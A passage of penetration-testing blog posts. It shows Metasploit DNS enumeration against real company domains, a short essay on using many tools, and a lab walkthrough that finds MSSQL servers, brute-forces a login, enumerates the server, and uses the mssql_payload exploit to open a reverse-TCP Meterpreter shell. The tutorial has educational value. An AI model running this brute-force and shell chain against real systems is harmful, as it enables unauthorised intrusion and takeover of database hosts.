[*] Host Name: mail-out.pgp.com. IP Address: 216.112.105.68
[*] Host Name: gilda.pgp.com. IP Address: 216.112.105.67
[*] Host Name: gabriel.pgp.com. IP Address: 216.112.105.66
[*] Host Name: 216-112-105-64.pgp.com. IP Address: 216.112.105.64
[*] Host Name: mail-in.testgeo.com. IP Address: 216.112.105.69
[*] Host Name: chair-it.pgp.com. IP Address: 216.112.105.65
[*] Host Name: 216-112-105-71.pgp.com. IP Address: 216.112.105.71
[*] Host Name: dom01.mobile1.pgp.com. IP Address: 216.112.105.79
[*] Host Name: domeng.exchange.pgpeng.com. IP Address: 216.112.105.78
................
[*] Host Name: jrmobile.pgp.com. IP Address: 216.112.105.237
[*] Host Name: 216-112-105-238.pgp.com. IP Address: 216.112.105.238
[*] Host Name: cluster3.pgp.com. IP Address: 216.112.105.243
[*] Host Name: cluster1.pgp.com. IP Address: 216.112.105.241
[*] Host Name: cluster0.pgp.com. IP Address: 216.112.105.240
[*] Host Name: 216-112-105-239.pgp.com. IP Address: 216.112.105.239
[*] Host Name: cluster2.pgp.com. IP Address: 216.112.105.242
[*] Host Name: bletchley.pgp.com. IP Address: 216.112.105.244
[*] Host Name: mallen.pgp.com. IP Address: 216.112.105.245
[*] Host Name: mallenlaptop.pgp.com. IP Address: 216.112.105.246
[*] Host Name: mallenovid.pgp.com. IP Address: 216.112.105.247
[*] Host Name: 216-112-105-248.pgp.com. IP Address: 216.112.105.248
[*] Host Name: oakheaven.pgp.com. IP Address: 216.112.105.250
[*] Host Name: 216-112-105-253.pgp.com. IP Address: 216.112.105.253
[*] Host Name: 216-112-105-252.pgp.com. IP Address: 216.112.105.252
[*] Host Name: oak.pgp.com. IP Address: 216.112.105.249
[*] Host Name: pron.pgp.com. IP Address: 216.112.105.251
[*] Host Name: bubs.pgp.com. IP Address: 216.112.105.254
[*] Host Name: 216-112-105-255.pgp.com. IP Address: 216.112.105.255
[*] Auxiliary module execution completed
msf auxiliary(dns_enum) >


The output was abbreviated, new domain names that must be tested appeared and many of the host names give idea of their purpose and naming scheme. This is one of the mail reasons that even when a zone transfer is successful other enumeration methods must be executed so as to be able to detect this other domains that might have escaped the initial enumeration.

Another method of enumerations the brute force enumeration where a dictionary file is use to try to identify host or subdomains for a given domain. A wordlist is used for this, the success of this method is dependant on the wordlist used, some main points for a good wordlist are:


  • Words should follow the naming scheme of the target domain of one is found.
  • All words must have valid DNS name charectes

The use of a password list is not recommended. A simple one is included with Metasploit and configured by default. Lets execute one against google.com:


msf auxiliary(dns_enum) > set ENUM_BRT true
ENUM_BRT => true
msf auxiliary(dns_enum) > set ENUM_STD false
ENUM_STD => false
msf auxiliary(dns_enum) > run

[*] Setting DNS Server to google.com NS: 216.239.32.10
[*] Host Name: academico.google.com IP Address: 74.125.47.105
[*] Host Name: academico.google.com IP Address: 74.125.47.103
[*] Host Name: academico.google.com IP Address: 74.125.47.106
[*] Host Name: academico.google.com IP Address: 74.125.47.147
[*] Host Name: academico.google.com IP Address: 74.125.47.99
[*] Host Name: academico.google.com IP Address: 74.125.47.104
[*] Host Name: ads.google.com IP Address: 74.125.159.112
[*] Host Name: alerts.google.com IP Address: 74.125.159.100
[*] Host Name: alerts.google.com IP Address: 74.125.159.101
[*] Host Name: alerts.google.com IP Address: 74.125.159.113
[*] Host Name: alerts.google.com IP Address: 74.125.159.102
[*] Host Name: alerts.google.com IP Address: 74.125.159.139
[*] Host Name: alerts.google.com IP Address: 74.125.159.138
[*] Host Name: ap.google.com IP Address: 74.125.47.105
[*] Host Name: ap.google.com IP Address: 74.125.47.103
[*] Host Name: ap.google.com IP Address: 74.125.47.104
[*] Host Name: ap.google.com IP Address: 74.125.47.106
[*] Host Name: ap.google.com IP Address: 74.125.47.147
[*] Host Name: ap.google.com IP Address: 74.125.47.99
[*] Host Name: apps.google.com IP Address: 74.125.159.101
[*] Host Name: apps.google.com IP Address: 74.125.159.139
[*] Host Name: apps.google.com IP Address: 74.125.159.113
[*] Host Name: apps.google.com IP Address: 74.125.159.138
[*] Host Name: apps.google.com IP Address: 74.125.159.100
[*] Host Name: apps.google.com IP Address: 74.125.159.102
[*] Host Name: asia.google.com IP Address: 66.249.89.103
[*] Host Name: asia.google.com IP Address: 66.249.89.99
[*] Host Name: asia.google.com IP Address: 66.249.89.147
[*] Host Name: asia.google.com IP Address: 66.249.89.104
[*] Host Name: blog.google.com IP Address: 74.125.47.191
[*] Host Name: calendar.google.com IP Address: 74.125.159.102
[*] Host Name: calendar.google.com IP Address: 74.125.159.113
[*] Host Name: calendar.google.com IP Address: 74.125.159.101
[*] Host Name: calendar.google.com IP Address: 74.125.159.139
[*] Host Name: calendar.google.com IP Address: 74.125.159.138
[*] Host Name: calendar.google.com IP Address: 74.125.159.100
[*] Host Name: catalog.google.com IP Address: 74.125.159.102
[*] Host Name: catalog.google.com IP Address: 74.125.159.113
..................................
[*] Auxiliary module execution completed
msf auxiliary(dns_enum) >


One thing to remember is that depending on the size of the dictionary and the number of threads the time for performing this type of enumeration will vary.

Another type of DNS enumeration is TLD or Top Level Domain expansion where we look for other DNS registrations for our targets domain. There are 2 types of TLD the Country Code TLD or ccTLD to reflect a country and the gTLD the General TLD like for organization (org), information (info) and like wise, many company have servers deployed in different countries to provide faster service to users there and many times the updates and maintenance of this services are staged and done in a gradual process allowing for the possibility of finding vulnerable systems. One must take great care since the scope might limit one country and the understanding of the laws of that country must be understood before embarking on attacking this remote systems. The manner in the module works is that it will strip the TLD of the domain name and replace it with the most common one, many times companies and other DNS registrars have another level that they add that varies from registrar by registrar so a bit of Google enumeration might be needed to further enumerate any of them that might have been missed by the module. Here is a sample of doing a TLD Expansion against HP:


msf auxiliary(dns_enum) > set DOMAIN hp.co
DOMAIN => hp.co
msf auxiliary(dns_enum) > run

[*] Performing Top Level Domain Expansion
[*] Domain: hp.com Name: hp.com. IP Address: 15.216.110.140 Record: A
[*] Domain: hp.com Name: hp.com. IP Address: 15.192.45.21 Record: A
[*] Domain: hp.com Name: hp.com. IP Address: 15.192.45.22 Record: A
[*] Domain: hp.com Name: hp.com. IP Address: 15.192.45.138 Record: A
[*] Domain: hp.com Name: hp.com. IP Address: 15.192.45.139 Record: A
[*] Domain: hp.com Name: hp.com. IP Address: 15.200.2.21 Record: A
[*] Domain: hp.com Name: hp.com. IP Address: 15.200.30.21 Record: A
[*] Domain: hp.com Name: hp.com. IP Address: 15.200.30.22 Record: A
[*] Domain: hp.com Name: hp.com. IP Address: 15.200.30.23 Record: A
[*] Domain: hp.com Name: hp.com. IP Address: 15.200.30.24 Record: A
[*] Domain: hp.com Name: hp.com. IP Address: 15.216.110.21 Record: A
[*] Domain: hp.com Name: hp.com. IP Address: 15.216.110.22 Record: A
[*] Domain: hp.com Name: hp.com. IP Address: 15.216.110.139 Record: A
[*] Domain: hp.ag Name: hp.ag. IP Address: 217.26.48.101 Record: A
[*] Domain: hp.az Name: hp.az. IP Address: 15.192.45.21 Record: A
[*] Domain: hp.az Name: hp.az. IP Address: 15.192.45.22 Record: A
[*] Domain: hp.az Name: hp.az. IP Address: 15.192.45.138 Record: A
[*] Domain: hp.az Name: hp.az. IP Address: 15.192.45.139 Record: A
[*] Domain: hp.az Name: hp.az. IP Address: 15.200.2.21 Record: A
[*] Domain: hp.az Name: hp.az. IP Address: 15.200.30.21 Record: A
.............................
[*] Auxiliary module execution completed


This has been a short introduction to DNS enumeration and what type of information can be gathered from this service.

Saturday
Dec052009

Do not be a Fanboy be a Hacker and Remove the Blinders

One of the things I have been seeing a lot lately is a lot of people going Metasploit is better than Core and Core being better than Canvas and vise versa, the same for Nmap Portbunny and Unicorscan, and many other tools available out there. This type of thinking is a bit worrisome especially since the people that say this should be rational people that understand the working of the tools and their limitations and advantages. One of the first thing I was tough when learning about weapons is that never to call a weapon “Baby”, “Toy” or any other nick name just call it a tool, that lesson stuck with me for many things in my personal life and my professional life. Software and hardware are just tools each has it advantages and its drawbacks, the more tools one can master the more flexible one becomes, especially since you will be able to choose the right tool for the right moment and will also give you the ability to verify your results. No matter how good tools are they are written by human beings, heck this is the main reason for those of us that work in security have a job to do since humans are not perfect and we live from that imperfection, To this day I have not seen one single tool that does not generate a false positive or a false negative at any given time. This notion of mastering different tools is of great importance for a pentester in general since the engagement are not only limited in time but also limited in scope and have rules of engagement that limits him on what he can do, so having the flexibility to do the job in a fast and accurate manner is of great value. Not only should this apply to tools but also to operating systems, I have seen people who if it is not Linux it does not exist and the same on the Windows camp, there are time that when getting a tool on one system might take several steps longer on one are super simple on the other, virtualization has helped a lot to minimize this gap by allowing the user to have several operating systems to host his tools and to test before committing an action against a customer system. Mastering of the basics and the concepts makes the difference between being a script kiddy or a thru security professional, this mastery of the concepts and tools is what really gives the flexibility of choosing the right tool for the job.

Friday
Nov272009

Attacking MSSQL with Metasploit

Now a days hacking has shifted from attacking systems to know how they work or for the trill of getting into a system for the sake of the hunt but many hackers are doing it for profit, in fact many companies around the world and states are employing hacker for information both for political and financial gain. One of the places where most of this information resides is in databases and one of the most popular databases in enterprises and governments now a days is Microsoft SQL Server and on this blog post I will cover some of the attacks you can do against this system with Metasploit 3.3.

The Microsoft SQL Server Product is in fact a suite of products compromise of several services like reporting, integration and others, in addition there is large number of types depending on the version like for instance in MSSQL 2000 there is a MSDE edition for Desktops that is small and lite, there is an Express, Web, Standard and Enterprise to mention the most popular with MSSQl 2005 and 2008 so in this blog post I will focus mainly on the Database component of it. MSSQL listens on 2 ports, port TCP 1433 and UDP port 1434, server instances get a random TCP port and this port can be obtain thru the UDP port 1434. It has 2 methods of authentication that can be configured SQL Authentication and Windows Authentication. This 2 methods differ in terms where the Account Credentials are stored and what policy is applied to such account. In MSSQL 2000 the SQL Authentication is one of the most abused methods of gaining access to the database since it does not log authentication attempts by default, it is clear text and one of the most abused methods is that by default there is no account lockout of password policy on this version on MSSQL, now on the most recent version SQL 2005 and SQL 2008 this differ in terms that the account policy being applied to the Windows host where the database engine is running, I have seen in production environments DBAs (Database Administrators) disable the policy checks for SQL accounts in the latest versions. Another one of the drawbacks of using SQL Authentication is the presence of the SA account, this account runs as sysadmin on the Database Engine and thru the store procedures on MSSQL it can execute command against the host OS under the privileges under whish the Database Engine is running under. As you can see using Windows Authentication is the way to go when performing hardening of a MS SQL system and making sure developers use Windows Accounts. One important note is that when the server is set for SQL Authentication it will also Authenticate Windows Users this is known as Mixed mode. In MSQL 2000 and 2005 the local Administrators group is given the sysadmin role by default and on MSSQL 2008 only the local Administrator account is given permission, on MSSQL Clusters the service account for the Database Engine has to be a domain account and in many installations I have seen this account be part of the Domain Administrators Group. This information can be of great use when doing post exploitation on a MSSQL host. Another important part of MSSQL systems is that they come with a large number of Stored Procedures that permit Command Execution on the host, modification of the hosts registry, File manipulation, sending emails and many other functions as “Features” making the post exploitation aspect of   MSSQL attack a very interesting one.

So lets start by finding all host running MSSQL Database Instances on a network for this Metasploit has an auxiliary module called mssql_ping, below you will see how to use this module and see the options it offers from a msfconsole window

 

msf > use auxiliary/scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > info

Name: MSSQL Ping Utility
Version: 6479
License: Metasploit Framework License (BSD)

Provided by:
MC <mc@metasploit.com>

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HEX2BINARY /home/carlos/framework3/trunk/data/exploits/mssql/h2b no The path to the hex2binary script on the disk
MSSQL_PASS no The password for the specified username
MSSQL_USER sa no The username to authenticate as
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads

Description:
This module simply queries the MSSQL instance for information.

msf auxiliary(mssql_ping) > show advanced

Module advanced options:

Name : CHOST
Current Setting:
Description : The local client address

Name : CPORT
Current Setting:
Description : The local client port

Name : ConnectTimeout
Current Setting: 10
Description : Maximum number of seconds to establish a TCP connection

Name : Proxies
Current Setting:
Description : Use a proxy chain

Name : SSL
Current Setting: false
Description : Negotiate SSL for outgoing connections

Name : SSLVersion
Current Setting: SSL3
Description : Specify the version of SSL that should be used (accepted: SSL2,
SSL3, TLS1)

Name : ShowProgress
Current Setting: true
Description : Display progress messages during a scan

Name : ShowProgressPercent
Current Setting: 10
Description : The interval in percent that progress should be shown



The 2 options we need are the RHOSTS and the THREADS options. Lets set and run the module against the network in my lab.

msf auxiliary(mssql_ping) > set RHOSTS 192.168.1.1/24
RHOSTS => 192.168.1.1/24
msf auxiliary(mssql_ping) > set THREADS 10
THREADS => 10
msf auxiliary(mssql_ping) > run

[*] Scanned 026 of 256 hosts (010% complete)
[*] Scanned 052 of 256 hosts (020% complete)
[*] Scanned 077 of 256 hosts (030% complete)
[*] SQL Server information for 192.168.1.108:
[*] tcp = 1433
[*] Version = 9.00.1399.06
[*] InstanceName = MSSQLSERVER
[*] IsClustered = No
[*] ServerName = DBSQL2K501
[*] Scanned 103 of 256 hosts (040% complete)
[*] Scanned 128 of 256 hosts (050% complete)
[*] SQL Server information for 192.168.1.156:
[*] tcp = 1433
[*] Version = 10.0.1600.22
[*] InstanceName = MSSQLSERVER
[*] IsClustered = No
[*] ServerName = DBSQL2K801
[*] Scanned 155 of 256 hosts (060% complete)
[*] Scanned 180 of 256 hosts (070% complete)
[*] Scanned 205 of 256 hosts (080% complete)
[*] Scanned 232 of 256 hosts (090% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(mssql_ping) >

As it can be seen 2 servers where found, know I like to corroborate always my findings with other tools so I can be sure I’m targeting the correct targets and the correct versions, for this we will use the nmap por sacnner with one of their nse scripts

carlos@loki:~$ sudo nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156

Starting Nmap 5.10BETA1 ( http://nmap.org ) at 2009-11-26 21:25 AST
NSE: Script Scanning completed.
Nmap scan report for 192.168.1.108
Host is up (0.00071s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
123/udp open|filtered ntp
137/udp open netbios-ns
138/udp open|filtered netbios-dgm
445/udp open|filtered microsoft-ds
500/udp open|filtered isakmp
1434/udp open ms-sql-m
| ms-sql-info: ServerName;DBSQL2K501;InstanceName;TESTLABINST;IsClustered;No;Version;9.00.1399.06;tcp;1033;;
| Server name: DBSQL2K501
| Server version: 9.00.1399.06 (RTM)
| Instance name: MSSQLSERVER
| TCP Port: 1433
| Could not retrieve actual version information
| Instance name: TESTLABINST
| TCP Port: 1033
|_ Could not retrieve actual version information
4500/udp open|filtered nat-t-ike
MAC Address: 00:0C:29:1B:83:F5 (VMware)

Nmap scan report for 192.168.1.156
Host is up (0.00073s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
123/udp open|filtered ntp
137/udp open netbios-ns
138/udp open|filtered netbios-dgm
445/udp open|filtered microsoft-ds
500/udp open|filtered isakmp
1434/udp open ms-sql-m
| ms-sql-info: Discovered Microsoft SQL Server
| Server name: DBSQL2K801
| Server version: 10.0.1600.22
| Instance name: MSSQLSERVER
| TCP Port: 1433
| Could not retrieve actual version information
| Instance name: TESTINST
| TCP Port: 1123
|_ Could not retrieve actual version information
4500/udp open|filtered nat-t-ike
MAC Address: 00:0C:29:38:20:33 (VMware)

Nmap done: 2 IP addresses (2 hosts up) scanned in 2.79 seconds
carlos@loki:~$

As it can be seen by the nmap scan there is a second instance on each of the host files, one special note is that when you run the nmap scan with the ms-sql-info nse script that the scan be a UDP scan and nmap must be ran as root. Another way is to use Nessus in command line mode with the plug-in id 10674

carlos@loki:/opt/nessus/bin$ sudo ./nessuscmd -i 10674 192.168.1.0/24 --max-hosts 25
Starting nessuscmd 4.0.2
Scanning '192.168.1.0/24'...

+ Host 192.168.1.1 is up
+ Host 192.168.1.2 is up
+ Results found on 192.168.1.108 :
- Port ms-sql-m (1434/udp)
[i] Plugin ID 10674
| A 'ping' request returned the following information about the remote
| SQL instances :
|
|
| ServerName : DBSQL2K501
| InstanceName : MSSQLSERVER
| IsClustered : No
| Version : 9.00.1399.06
| tcp : 1433
|
|
| ServerName : DBSQL2K501
| InstanceName : TESTLABINST
| IsClustered : No
| Version : 9.00.1399.06
| tcp : 1033
|
|

+ Results found on 192.168.1.156 :
- Port ms-sql-m (1434/udp)
[i] Plugin ID 10674
| A 'ping' request returned the following information about the remote
| SQL instances :
|
|
| ServerName : DBSQL2K801
| InstanceName : MSSQLSERVER
| IsClustered : No
| Version : 10.0.1600.22
| tcp : 1433
|
|
| ServerName : DBSQL2K801
| InstanceName : TESTINST
| IsClustered : No
| Version : 10.0.1600.22
| tcp : 1123
|
|

+ Host 192.168.1.157 is up
+ Host 192.168.1.179 is up
+ Host 192.168.1.194 is up
+ Host 192.168.1.232 is up
+ Host 192.168.1.239 is up
+ Host 192.168.1.245 is up
carlos@loki:/opt/nessus/bin$

As it can be seen each tools gives a different level of information, but I have found that one of the fastest ways is to use Microsoft own tools, the Microsoft SQL Server Management Studio that comes as part of MS SQL 2005 and MS SQL 2008 is on the fastest at finding MSSQL Machines on the same subnet and also helps in identifying any other MS SQL Services that might be available something that the other tools do not detect or look for.

we start by bringing up Microsoft SQL Server Management Studio and in the login box selecting to Browse for More servers than the ones local

image

On the Next screen we select the Network Servers tab and there we will see what it discovered.

image

Now for our next attack we will do a brute force attack but first we have to find out if the servers are configured for SQL Authentication and here management studio comes in to play again, we can select a sever give it bogus credentials and the error message we get back will tell us if it is.

image

When we get a message that says the user is not associated with a trusted SQL Server Connection it means that there is a miss match of protocol giving us the information that it does not support SQL Authentication. If SQL Authentication is enabled the message would be login failed message

image

Now that we know whish server to attack with the brute force we can choose the SA account but since this server is a MS SQL 2008 we know that since it is disabled by default we might have to try another one if SA fails, in our case we will assume we got the user meta from an IIS 500 error. in Metasploit we load the brute force login module for MS SQL

msf auxiliary(mssql_login) > use auxiliary/scanner/mssql/mssql_login
msf auxiliary(mssql_login) > info

Name: MSSQL Login Utility
Version: 7185
License: Metasploit Framework License (BSD)

Provided by:
MC <mc@metasploit.com>

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HEX2BINARY /home/carlos/framework3/trunk/data/exploits/mssql/h2b no The path to the hex2binary script on the disk
MSSQL_PASS no The password for the specified username
MSSQL_PASS_FILE no A dictionary of passwords to perform a bruteforce attempt
MSSQL_USER sa no The username to authenticate as
RHOSTS yes The target address range or CIDR identifier
RPORT 1433 yes The target port
THREADS 1 yes The number of concurrent threads

Description:
This module simply queries the MSSQL instance for a specific
user/pass (default is sa with blank).


We have to give it our target host in the RHOST variable, the username to test in MSSQL_USER and the dictionary file in MSSQL_PASS_FILE. The THREADS will depend on the network connection and load of the target for this example I will leave it as it is but I tend to start with 50 and the reduce in increments of 5 if I get any error

msf auxiliary(mssql_login) > set MSSQL_USER meta
MSSQL_USER => meta
msf auxiliary(mssql_login) > set MSSQL_PASS_FILE /tmp/dict.txt
MSSQL_PASS_FILE => /tmp/dict.txt
msf auxiliary(mssql_login) > set RHOSTS 192.168.1.156
RHOSTS => 192.168.1.156
msf auxiliary(mssql_login) > run

[*] 192.168.1.156:1433 successful logged in as 'meta' with password 'meta'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(mssql_login) >

Now that we have a username and password lets enumerate the MSSQL server with the enumeration module

msf auxiliary(mssql_login) > use auxiliary/admin/mssql/mssql_enum
msf auxiliary(mssql_enum) > info

Name: Microsoft SQL Server Configuration Enumerator
Version: 7226
License: Metasploit Framework License (BSD)

Provided by:
Carlos Perez <carlos_perez@darkoperator.com>

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HEX2BINARY /home/carlos/framework3/trunk/data/exploits/mssql/h2b no The path to the hex2binary script on the disk
MSSQL_PASS no The password for the specified username
MSSQL_USER sa no The username to authenticate as
RHOST yes The target address
RPORT 1433 yes The target port

Description:
This module will perform a series of configuration audits and
security checks against a Microsoft SQL Server database. For this
module to work, valid administrative user credentials must be
supplied.

msf auxiliary(mssql_enum) >

We will provide the username and password we found in addition to the target and run it

msf auxiliary(mssql_enum) > set MSSQL_USER meta
MSSQL_USER => meta
msf auxiliary(mssql_enum) > set MSSQL_PASS meta
MSSQL_USER => meta
msf auxiliary(mssql_enum) > set RHOST 192.168.1.156
RHOST => 192.168.1.156
msf auxiliary(mssql_enum) > run

[*] Running MS SQL Server Enumeration...
[*] Auxiliary module execution completed
msf auxiliary(mssql_enum) > set MSSQL_PASS meta
MSSQL_PASS => meta
msf auxiliary(mssql_enum) > run

[*] Running MS SQL Server Enumeration...
[*] Version:
[*] Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (Intel X86)
[*] Jul 9 2008 14:43:34
[*] Copyright (c) 1988-2008 Microsoft Corporation
[*] Enterprise Edition on Windows NT 5.2 <X86> (Build 3790: Service Pack 2)
[*] Configuration Parameters:
[*] C2 Audit Mode is Not Enabled
[*] xp_cmdshell is Enabled
[*] remote access is Enabled
[*] allow updates is Not Enabled
[*] Database Mail XPs is Not Enabled
[*] Ole Automation Procedures are Not Enabled
[*] Databases on the server:
[*] Database name:master
[*] Databse Files for master:
[*] C:\Program Files\Microsoft SQL Server\MSSQL10.MSSQLSERVER\MSSQL\DATA\master.mdf
[*] C:\Program Files\Microsoft SQL Server\MSSQL10.MSSQLSERVER\MSSQL\DATA\mastlog.ldf
[*] Database name:tempdb
[*] Databse Files for tempdb:
[*] C:\Program Files\Microsoft SQL Server\MSSQL10.MSSQLSERVER\MSSQL\DATA\tempdb.mdf
[*] C:\Program Files\Microsoft SQL Server\MSSQL10.MSSQLSERVER\MSSQL\DATA\templog.ldf
[*] Database name:model
[*] Databse Files for model:
[*] C:\Program Files\Microsoft SQL Server\MSSQL10.MSSQLSERVER\MSSQL\DATA\model.mdf
[*] C:\Program Files\Microsoft SQL Server\MSSQL10.MSSQLSERVER\MSSQL\DATA\modellog.ldf
[*] Database name:msdb
[*] Databse Files for msdb:
[*] C:\Program Files\Microsoft SQL Server\MSSQL10.MSSQLSERVER\MSSQL\DATA\MSDBData.mdf
[*] C:\Program Files\Microsoft SQL Server\MSSQL10.MSSQLSERVER\MSSQL\DATA\MSDBLog.ldf
[*] System Logins on this Server:
[*] sa
[*] ##MS_SQLResourceSigningCertificate##
[*] ##MS_SQLReplicationSigningCertificate##
[*] ##MS_SQLAuthenticatorCertificate##
[*] ##MS_PolicySigningCertificate##
[*] ##MS_PolicyEventProcessingLogin##
[*] ##MS_PolicyTsqlExecutionLogin##
[*] ##MS_AgentSigningCertificate##
[*] NT AUTHORITY\SYSTEM
[*] NT AUTHORITY\NETWORK SERVICE
[*] DBSQL2K801\Administrator
[*] dangerlogin
[*] meta
[*] Disabled Accounts:
[*] sa
[*] ##MS_PolicyEventProcessingLogin##
[*] ##MS_PolicyTsqlExecutionLogin##
[*] No Accounts Policy is set for:
[*] dangerlogin
[*] meta
[*] Password Expiration is not checked for:
[*] sa
[*] ##MS_PolicyEventProcessingLogin##
[*] ##MS_PolicyTsqlExecutionLogin##
[*] dangerlogin
[*] meta
[*] System Admin Logins on this Server:
[*] sa
[*] NT AUTHORITY\SYSTEM
[*] NT AUTHORITY\NETWORK SERVICE
[*] DBSQL2K801\Administrator
[*] meta
[*] Windows Logins on this Server:
[*] NT AUTHORITY\SYSTEM
[*] NT AUTHORITY\NETWORK SERVICE
[*] DBSQL2K801\Administrator
[*] Windows Groups that can logins on this Server:
[*] No Windows Groups where found with permission to login to system.
[*] Accounts with Username and Password being the same:
[*] meta
[*] Accounts with empty password:
[*] No Accounts with empty passwords where found.
[*] Stored Procedures with Public Execute Permission found:
[*] sp_replsetsyncstatus
[*] sp_replcounters
[*] sp_replsendtoqueue
[*] sp_resyncexecutesql
[*] sp_prepexecrpc
[*] sp_repltrans
[*] sp_xml_preparedocument
[*] xp_qv
[*] xp_getnetname
[*] sp_releaseschemalock
[*] sp_refreshview
[*] sp_replcmds
[*] sp_unprepare
[*] sp_resyncprepare
[*] sp_createorphan
[*] xp_dirtree
[*] sp_replwritetovarbin
[*] sp_replsetoriginator
[*] sp_xml_removedocument
[*] sp_repldone
[*] sp_reset_connection
[*] xp_fileexist
[*] xp_fixeddrives
[*] sp_getschemalock
[*] sp_prepexec
[*] xp_revokelogin
[*] sp_resyncuniquetable
[*] sp_replflush
[*] sp_resyncexecute
[*] xp_grantlogin
[*] sp_droporphans
[*] xp_regread
[*] sp_getbindtoken
[*] sp_replincrementlsn
[*] Instances found on this server:
[*] MSSQLSERVER
[*] TESTINST
[*] Default Server Instance SQL Server Service is running under the privilege of:
[*] NT AUTHORITY\NETWORK SERVICE
[*] Instance TESTINST SQL Server Service is running under the privilage of:
[*] LocalSystem
[*] Auxiliary module execution completed
msf auxiliary(mssql_enum) >

Now we know what stored procedures are enabled or not, accounts, if policy is applied and a wealth of other information to continue our attack. One critical pice of information is that the instance is running as LocalSystem so we can get a shell on the system since if it was Network Service we would not be able to to start our shell, since nothing beats having a nice Meterpreter shell lets move from SQL access to shell on the host with the MSSQL Payload Exploit module

msf exploit(mssql_payload) > info

Name: Microsoft SQL Server Payload Execution
Version: 7236
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)

Provided by:
David Kennedy "ReL1K" <kennedyd013@gmail.com>

Available targets:
Id Name
-- ----
0 Automatic

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HEX2BINARY /home/carlos/framework3/trunk/data/exploits/mssql/h2b no The path to the hex2binary script on the disk
MSSQL_PASS no The password for the specified username
MSSQL_USER sa no The username to authenticate as
RHOST yes The target address
RPORT 1433 yes The target port

Payload information:

Description:
This module will execute an arbitrary payload on a Microsoft SQL
Server, using the Windows debug.com method for writing an executable
to disk and the xp_cmdshell stored procedure. File size restrictions
are avoided by incorporating the debug bypass method presented at
Defcon 17 by SecureState. Note that this module will leave a
metasploit payload in the Windows System32 directory which must be
manually deleted once the attack is completed.

References:
http://www.osvdb.org/557
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2000-0402
http://www.securityfocus.com/bid/1281
http://www.thepentest.com/presentations/FastTrack_ShmooCon2009.pdf

msf exploit(mssql_payload) >

We set our values including our payload and we let the exploit module run

msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(mssql_payload) > set LHOST 192.168.1.158
LHOST => 192.168.1.158
msf exploit(mssql_payload) > set RHOST 92.168.1.156
RHOST => 92.168.1.156
msf exploit(mssql_payload) > set MSSQL_USER meta
MSSQL_USER => meta
msf exploit(mssql_payload) > set MSSQL_PASS meta
MSSQL_PASS => meta
msf exploit(mssql_payload) > exploit
msf exploit(mssql_payload) > exploit

[*] Started reverse handler on port 4444
[*] Warning: This module will leave fGDpiveA.exe in the SQL Server %TEMP% directory
[*] Writing the debug.com loader to the disk...
[*] Converting the debug script to an executable...
[*] Uploading the payload, please be patient...
[*] Converting the encoded payload...
[*] Executing the payload...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.1.158:4444 -> 192.168.1.156:1708)

meterpreter > sysinfo
Computer: DBSQL2K801
OS : Windows .NET Server (Build 3790, Service Pack 2).
Arch : x86
Language: en_US
meterpreter >

I hope you find this post useful and of help, this is only the basics of what can be done to and thru a MS SQL server.